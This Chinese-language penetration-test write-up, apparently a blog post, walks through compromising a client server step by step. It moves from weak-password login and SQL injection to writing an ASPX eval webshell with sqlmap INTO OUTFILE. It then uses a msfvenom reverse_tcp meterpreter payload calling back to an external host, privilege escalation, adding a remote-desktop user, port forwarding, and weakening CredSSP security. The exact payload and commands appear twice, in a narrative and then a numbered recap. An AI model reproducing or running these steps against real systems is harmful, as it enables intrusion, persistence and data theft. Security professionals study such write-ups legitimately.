在某次做渗透项目时,客户只提供了一个IP。作为菜鸟的我开始远航。
Nmap扫描一下端口,注意扫描高位端口,往往有意外收获。
弱口令尝试登录。
简单汇总一下。
登录进后台测试发现两个系统均存在sql注入。
还在8000端口上的crocus系统中找到一处任意文件下载漏洞。
原来是日志下载。点击发现页面中存在绝对路径。
OK!!!收集一下绝对路径。
现在的思路是:
在有绝对路径的前提下,配合sql注入,利用sqlmap的—sql-shell尝试可以写一句话木马。
仔细看这个绝对路径。听说仔细盯着它看会有奇效。(笑)
WCMS4.0这个好像在哪见过。
没错。就是12055端口,登录后台
可以利用这个后台的sql注入来写shell。
sql注入点大概在搜索位置。
拦截数据包,保存为post.txt。使用sqlmap开始注入。
有注入,有dba权限,有绝对路径。shell一条龙就此准备。
开始写入aspx一句话木马。
select '<%@ Page Language="Javascript"%> <%eval(Request.Item["pass"]);%>' INTO OUTFILE 'C://Program Files (x86)//CMS Server//WCMS4.0//x.aspx'
没毛病,访问一下。
Nice!!!
菜刀连接。
先收集一下该服务器的信息
该服务器运行在内网,这里选择使用msf马反弹shell后进行端口转发。
关于如何在外网打造一台metasploit。推荐文章:
http://www.sqlsec.com/2018/03/cloud.html#more
生成msf马
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=2333 -f exe > road.exe
xx.xx.xx.xx为公网服务器
2333为公网端口
将生成的msf马通过中国菜刀上传至肉鸡。
外网metasploit开始配置监听
use exploit/multi/handle
set payload
windows/x64/meterpreter/reverse_tcp
set lhost 127.0.0.1
run
简单执行几条meterpreter命令
getuid 当前权限
getsystem 进行提权
run getgui -u xxxxx -p xxxxx
在目标机器上添加用户
portfwd add -l 3389 -r 192.168.1.18 -p 3389
将3389端口转发至本地
端口转发连接本地的3389
出现身份验证错误
解决方案
http://www.cnblogs.com/raswin/p/9018388.html
1.通过nmap以及dirsearch分别对目标进行端口扫描以及目录扫描,发现存在8000和8011以及8021端口开放
2.访问8000端口所在的网址,发现后台存在弱口令admin/123456。进入系统后发现存在2个SQL注入漏洞
以及存在任意下载漏洞,通过fuzz下载路径,可下载到网站的日志文件,日志中泄露了网站的绝对路径c:\progarm files \CMS server\。
3这里可以通过sqlmap对2个SQL注入漏洞中的一个进行os-shell写入shell.
4.同时发现暴露出来的网站路径c:\progarm files \CMS server\下存在一个wcms4.0,该版本后台登录处存在SQL注入漏洞
5.通过sqlmap -r data.txt对其进行注入,发现数据库权限为dba
6.通过sqlmap的sql-shell写入一句话
select '<%@ Page Language="Javascript"%> <%eval(Request.Item["pass"]);%>' INTO OUTFILE 'C://Program Files (x86)//CMS Server//WCMS4.0//x.aspx'
7.通过菜刀远程连接一句话,执行命令whoami发现是system权限,执行netstat -ano查看网络连接,通过ipconfig查询网站的内网地址
8.生成msf木马,并将其木马通过菜刀上传并进执行。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=2333 -f exe > road.exe
10.外网MSF上执行反弹shell监听
use exploit/multi/handle
set payload
windows/x64/meterpreter/reverse_tcp
set lhost 127.0.0.1
run
9.执行以下几条meterpreter命令
getuid //当前权限
getsystem // 进行提权
run getgui -u xxxxx -p xxxxx //在目标机器上添加用户
portfwd add -l 3389 -r 192.168.1.18 -p 3389 //将3389端口转发至本地
9,远程桌面连接,提示出现身份验证错误
解决方法:
运行 gpedit.msc
本地组策略:
计算机配置>管理模板>系统>凭据分配>加密Oracle修正
选择启用并选择易受攻击